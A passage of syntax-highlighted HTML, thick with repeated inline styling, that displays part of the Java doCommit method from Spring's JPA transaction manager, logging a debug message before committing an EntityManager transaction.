</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">protected</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">void</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> doCommit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">DefaultTransactionStatus</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> status</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionObject</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> status</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTransaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">status</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isDebug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"Committing JPA transaction on EntityManager ["</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"]"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">try</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">status</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isDebug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 